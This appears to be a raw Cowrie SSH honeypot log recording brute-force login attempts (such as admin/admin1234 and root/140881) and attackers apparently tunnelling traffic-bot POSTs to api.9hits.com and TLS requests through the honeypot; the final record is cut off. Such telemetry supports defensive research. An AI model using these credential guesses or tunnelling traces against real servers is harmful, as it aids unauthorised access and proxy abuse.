{"eventid":"cowrie.direct-tcpip.data","dst_ip":"159.65.2.87","dst_port":80,"data":"b'POST /bot/statistic HTTP/1.1\\r\\nHost: api.9hits.com\\r\\nConnection: keep-alive\\r\\nContent-Length: 1182\\r\\nPragma: no-cache\\r\\nCache-Control: no-cache\\r\\nContent-Type: application/x-www-form-urlencoded\\r\\nAccept-Language: en-US\\r\\nUser-Agent: Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/88.0.4324.150 Safari/537.36\\r\\nOrigin: http://api.9hits.com\\r\\nAccept-Encoding: gzip, deflate\\r\\n\\r\\n_=bWZtMDxzYSEmeml9cVBFSg%3D%3DtkiTxVaPDU2LDepye2WdW4DXG1ICYSp8pBgzbGK0kAxfYw2hTcLC5MG0F7%2FR9952w5qDkzCDGv0KJJWBpsqtExJmYppIOZ9VsENFP0T26C%2FwnhHGABtBlLBwwRh11Wp%2FMpcPqgWErzgW84T3KXQo3hwY1Byn9%2FDaJyy5ZSKigav9YDt5Co5F1MJQnpVkaZP6FWoLZW9%2BM1aYn0IfCRvfdD8mRF3xfDbUWwpSIZ6Aijag2KJmRTz2mcXO4QiB8jEs4M%2FnonvSu5pdwV9KqMSa67wuwT1NHo3wlrV5as6qvMse6uLDI2%2F2XdgSi7cA3GwGaNJF3%2BeI%2FS4R%2FkaBeMNt4LjftI4SBoh9l%2F9y3439g4vw2%2BpFDY3Ff%2BT36ydgGkyPJBw4izQydR4eWHo4ql%2FNHjrY0XBP4jFx3Sxi1HUcTFX88ATWm1Xf1LfAUl3AvL0HYxldlVn5zTKL9y2nGxvvDMbyfLJdqTf1jpWe9fcNuPjLX8G4qPw%2B0zKTGHGBZgT921JZM9fHU%2FBjjCiKgNqfAo9f4XCTGf%2BPZpl79voZGap1e5IuEO4NZXsZjCbwaoqrh9lLUvQuXuwfc752qojjLSfO2jEjAl%2B4tmV1HmZm%2FKS4Xny32dJ9sJOWFQwPL%2BcwqbOl5HY5qkAyMKsEl2YXPSEX6hEd85hLeGEMy12fug5j6GXob%2FZOHQQrrqBZ2fG6a1sVLbSdmoMGID4%2Bvkcb8nTl6bduotNGiWCbjO4PKb6dGcxzieI%2FVy5c7HbxdKIyFOOO9%2B4lUSsZ1nrrGQYrsnESWHZezh3Y8U20vIjQogFGtUj%2BmjEkOBne8Un2RUX0rHWlbyzG6bwDXzAJB77vi5a44wzkeJxp1yLHIYtn060Gdksazup3U%2FNFgxcXQAZce3nUJHc8fZxqqmlj4oDNgdz8VJl%2BSmicU4iCWgA0GlQORr8yBJOJKE9gE8KQwdV%2BruyCm8EJ6rMENvdHT0RzEDPTBjh%2B2j7GLzOzAjvF2qCSy5T56%2BBbbB0P5H%2Bao1mDcYtCBoDmwOn6Z5%2F7o8NHfsltALkwC7Q9jHMZBxk11AqGYZXtTwFVcOi8E9mae4qp'","id":0,"message":"discarded direct-tcp forward request 0 to 159.65.2.87:80 with data b'POST /bot/statistic HTTP/1.1\\r\\nHost: api.9hits.com\\r\\nConnection: keep-alive\\r\\nContent-Length: 1182\\r\\nPragma: no-cache\\r\\nCache-Control: no-cache\\r\\nContent-Type: application/x-www-form-urlencoded\\r\\nAccept-Language: en-US\\r\\nUser-Agent: Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/88.0.4324.150 Safari/537.36\\r\\nOrigin: http://api.9hits.com\\r\\nAccept-Encoding: gzip, deflate\\r\\n\\r\\n_=bWZtMDxzYSEmeml9cVBFSg%3D%3DtkiTxVaPDU2LDepye2WdW4DXG1ICYSp8pBgzbGK0kAxfYw2hTcLC5MG0F7%2FR9952w5qDkzCDGv0KJJWBpsqtExJmYppIOZ9VsENFP0T26C%2FwnhHGABtBlLBwwRh11Wp%2FMpcPqgWErzgW84T3KXQo3hwY1Byn9%2FDaJyy5ZSKigav9YDt5Co5F1MJQnpVkaZP6FWoLZW9%2BM1aYn0IfCRvfdD8mRF3xfDbUWwpSIZ6Aijag2KJmRTz2mcXO4QiB8jEs4M%2FnonvSu5pdwV9KqMSa67wuwT1NHo3wlrV5as6qvMse6uLDI2%2F2XdgSi7cA3GwGaNJF3%2BeI%2FS4R%2FkaBeMNt4LjftI4SBoh9l%2F9y3439g4vw2%2BpFDY3Ff%2BT36ydgGkyPJBw4izQydR4eWHo4ql%2FNHjrY0XBP4jFx3Sxi1HUcTFX88ATWm1Xf1LfAUl3AvL0HYxldlVn5zTKL9y2nGxvvDMbyfLJdqTf1jpWe9fcNuPjLX8G4qPw%2B0zKTGHGBZgT921JZM9fHU%2FBjjCiKgNqfAo9f4XCTGf%2BPZpl79voZGap1e5IuEO4NZXsZjCbwaoqrh9lLUvQuXuwfc752qojjLSfO2jEjAl%2B4tmV1HmZm%2FKS4Xny32dJ9sJOWFQwPL%2BcwqbOl5HY5qkAyMKsEl2YXPSEX6hEd85hLeGEMy12fug5j6GXob%2FZOHQQrrqBZ2fG6a1sVLbSdmoMGID4%2Bvkcb8nTl6bduotNGiWCbjO4PKb6dGcxzieI%2FVy5c7HbxdKIyFOOO9%2B4lUSsZ1nrrGQYrsnESWHZezh3Y8U20vIjQogFGtUj%2BmjEkOBne8Un2RUX0rHWlbyzG6bwDXzAJB77vi5a44wzkeJxp1yLHIYtn060Gdksazup3U%2FNFgxcXQAZce3nUJHc8fZxqqmlj4oDNgdz8VJl%2BSmicU4iCWgA0GlQORr8yBJOJKE9gE8KQwdV%2BruyCm8EJ6rMENvdHT0RzEDPTBjh%2B2j7GLzOzAjvF2qCSy5T56%2BBbbB0P5H%2Bao1mDcYtCBoDmwOn6Z5%2F7o8NHfsltALkwC7Q9jHMZBxk11AqGYZXtTwFVcOi8E9mae4qp'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:56:40.109474Z","src_ip":"38.46.222.137","session":"9544df6ea62a","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4","dst_ip":"104.21.5.61","dst_port":443,"ja4":"t12d1515h2_8daaf6152771_5563d4852cd1","message":"JA4 fingerprint for forwarded TLS to 104.21.5.61:443: t12d1515h2_8daaf6152771_5563d4852cd1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:56:40.114226Z","src_ip":"38.46.222.137","session":"9544df6ea62a","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"104.21.5.61","dst_port":443,"data":"b\"\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\x99S\\x13\\x87\\xf7>\\xf0\\xb5hv\\xcf\\x99\\x89\\xf3\\x16\\xa6\\xb9Z\\xf1\\x19Y9*3\\x9ax\\xc0F\\xeb\\xbd\\x06\\x16 (\\xc2&\\xd8(\\x18\\x17)\\xd0\\x8e5q\\xf0E\\xf4\\xec9\\xc0n\\x1a\\xf0\\xd1B\\x01\\x14q\\xfe\\x1e\\xf3#\\x97g\\x00 \\n\\n\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x01\\x00\\x01\\x93\\x9a\\x9a\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08zz\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x12\\x00\\x10\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)zz\\x00\\x01\\x00\\x00\\x1d\\x00 \\xfc'\\x9cW(CT~\\xfbn\\xd4\\xf2\\x95\\x86\\x04d\\xf7\\x1c\\xa17\\x0cD\\xe2<5\\x91\\x02\\x12j\\x92\\xedk\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\nJJ\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02ZZ\\x00\\x01\\x00\\x00\\x15\\x00\\xcc\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\"","id":1,"message":"discarded direct-tcp forward request 1 to 104.21.5.61:443 with data b\"\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\x99S\\x13\\x87\\xf7>\\xf0\\xb5hv\\xcf\\x99\\x89\\xf3\\x16\\xa6\\xb9Z\\xf1\\x19Y9*3\\x9ax\\xc0F\\xeb\\xbd\\x06\\x16 (\\xc2&\\xd8(\\x18\\x17)\\xd0\\x8e5q\\xf0E\\xf4\\xec9\\xc0n\\x1a\\xf0\\xd1B\\x01\\x14q\\xfe\\x1e\\xf3#\\x97g\\x00 \\n\\n\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x01\\x00\\x01\\x93\\x9a\\x9a\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08zz\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x12\\x00\\x10\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)zz\\x00\\x01\\x00\\x00\\x1d\\x00 \\xfc'\\x9cW(CT~\\xfbn\\xd4\\xf2\\x95\\x86\\x04d\\xf7\\x1c\\xa17\\x0cD\\xe2<5\\x91\\x02\\x12j\\x92\\xedk\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\nJJ\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02ZZ\\x00\\x01\\x00\\x00\\x15\\x00\\xcc\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\"","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:56:40.116289Z","src_ip":"38.46.222.137","session":"9544df6ea62a","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"104.21.5.61","dst_port":443,"src_ip":"38.46.222.137","src_port":0,"message":"direct-tcp connection request to 104.21.5.61:443 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:56:40.294609Z","session":"9544df6ea62a","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4","dst_ip":"104.21.5.61","dst_port":443,"ja4":"t12d1615h2_46e7e9700bed_cadd4ee51f0b","message":"JA4 fingerprint for forwarded TLS to 104.21.5.61:443: t12d1615h2_46e7e9700bed_cadd4ee51f0b","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:56:40.349666Z","src_ip":"38.46.222.137","session":"9544df6ea62a","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"104.21.5.61","dst_port":443,"data":"b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03/Uw4\\x99\\xe3\\x0b,K\\xa4\\x80\\xe2\\x99mX\\xd9\\xaf\\xcc\\xf8\\x1d\\xf4\\xbe\\xb6\\xd4\\x98\\xd2G6\\xc9\\xa8=\\x14 \\x11|F]\\xc4m\\xa7w<\\xa6$s\\x17C\\x8e\\xa2\\xe4\\xc1+\\xa3\\x93\\x9dhf\\xcf\\xd8\\x1b\\x90-\\x04\"\\xf5\\x00\"\\x8a\\x8a\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x00\\n\\x01\\x00\\x01\\x91JJ\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08\\xea\\xea\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x14\\x00\\x12\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x02\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)\\xea\\xea\\x00\\x01\\x00\\x00\\x1d\\x00 hy\\x1a\\x7f\\x16rz7\\xc0\\x0e\\xc4\\xa4\\xd6\\xd2\\xb9\\xfc\\x89l\\x82\\x88\\x82\\xeb\"\\x9d\\xaa!D?\\xc9*@\\n\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n\\xaa\\xaa\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02ZZ\\x00\\x01\\x00\\x00\\x15\\x00\\xc8\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","id":2,"message":"discarded direct-tcp forward request 2 to 104.21.5.61:443 with data b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03/Uw4\\x99\\xe3\\x0b,K\\xa4\\x80\\xe2\\x99mX\\xd9\\xaf\\xcc\\xf8\\x1d\\xf4\\xbe\\xb6\\xd4\\x98\\xd2G6\\xc9\\xa8=\\x14 \\x11|F]\\xc4m\\xa7w<\\xa6$s\\x17C\\x8e\\xa2\\xe4\\xc1+\\xa3\\x93\\x9dhf\\xcf\\xd8\\x1b\\x90-\\x04\"\\xf5\\x00\"\\x8a\\x8a\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x00\\n\\x01\\x00\\x01\\x91JJ\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08\\xea\\xea\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x14\\x00\\x12\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x02\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)\\xea\\xea\\x00\\x01\\x00\\x00\\x1d\\x00 hy\\x1a\\x7f\\x16rz7\\xc0\\x0e\\xc4\\xa4\\xd6\\xd2\\xb9\\xfc\\x89l\\x82\\x88\\x82\\xeb\"\\x9d\\xaa!D?\\xc9*@\\n\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n\\xaa\\xaa\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02ZZ\\x00\\x01\\x00\\x00\\x15\\x00\\xc8\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:56:40.352417Z","src_ip":"38.46.222.137","session":"9544df6ea62a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"38.93.206.2","src_port":27932,"dst_ip":"159.203.135.109","dst_port":22,"session":"2363b5abf1e6","protocol":"ssh","message":"New connection: 38.93.206.2:27932 (159.203.135.109:22) [session: 2363b5abf1e6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:56:40.575211Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:56:40.579619Z","src_ip":"38.93.206.2","session":"2363b5abf1e6","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin1234","message":"login attempt [admin/admin1234] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:56:40.588233Z","src_ip":"38.46.222.137","session":"53e60208b37a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:56:40.629269Z","src_ip":"38.93.206.2","session":"2363b5abf1e6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"140881","message":"login attempt [root/140881] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:56:40.781081Z","src_ip":"38.93.206.2","session":"2363b5abf1e6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.3","message":"Connection lost after 1.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:56:41.834361Z","src_ip":"38.93.206.2","session":"2363b5abf1e6","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"159.65.2.87","dst_port":80,"src_ip":"38.46.222.137","src_port":0,"message":"direct-tcp connection request to 159.65.2.87:80 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:56:44.555544Z","session":"53e60208b37a","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4h","dst_ip":"159.65.2.87","dst_port":80,"ja4h":"po11nn10enus_0af5a74ca4c0_000000000000_000000000000","message":"JA4H fingerprint for forwarded HTTP to 159.65.2.87:80: po11nn10enus_0af5a74ca4c0_000000000000_000000000000","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:56:44.643524Z","src_ip":"38.46.222.137","session":"53e60208b37a","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"159.65.2.87","dst_port":80,"data":"b'POST /bot/statistic HTTP/1.1\\r\\nHost: api.9hits.com\\r\\nAccept-Language: en-US\\r\\nAccept-Encoding: gzip, deflate\\r\\nContent-Type: application/x-www-form-urlencoded\\r\\nOrigin: http://api.9hits.com\\r\\nUser-Agent: Mozilla/5.0 (iPad; CPU OS 13_2 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) CriOS/87.0.4280.88 Mobile/17B84 Safari/604.1\\r\\nConnection: keep-alive\\r\\nContent-Length: 1174\\r\\nPragma: no-cache\\r\\nCache-Control: no-cache\\r\\n\\r\\n_=QHQzXnM4SSlaKGdvQVhnSA%3D%3DPSeIB5g1m7hmCfuiTb5prvHh3%2F4GF8srXdUJ5cO3fITN70vqkeYmpEipFGb3f9%2BZogNnQw26XvWUlEV6oSg%2Bu8meHTuVKw2KVXHT8Y4lkS3oapAJiZRfk1SHIKE1SCkHKwpvQr5uhsbd0qlEkNoZ%2FMHBqkczNpiSnwbep6iKx8Z47oLq%2FAw7YrB8KAA2%2FeSD4arSTjt1gmAzOM9lyQDy6sEWzrFpCRtUERBd9S4ER5eOekV1%2BNj9iyrrnbchSdciXFEE3zbuLpiWhpOq5fm7SvZIWtgIhTEYMyphUz62X5FFtPYRhJwozCTnl1q6caLjm8ZxnpvLzRvL5g4XGYqmwIvfcHJlmrlVvC59uqs%2FytbIp7HLOi5AtNeHw0WsdwY90VMrt%2BrYA%2B6XiXFhV23uifye1SDmps5xy3Vfpp%2FBDZFW6%2F96tBh93eaQhTxX7S9Gq591kSfj8kiHzLIQDeDtxLc9mv4ArhfADz9i6TbXXVAWtj8GabXtfmIvdSg5ss%2FVafcxlHwDTXuFLfp7xUHlVHceW7YF4AveGRlv2Qj48srwH5AApygro52oa5Nmzn6xlu7FVBQAGkOW6CE17oFbeKWqqUJ5%2BzH89PwWdCl7wgk7A7wl%2BJ6emzZ9j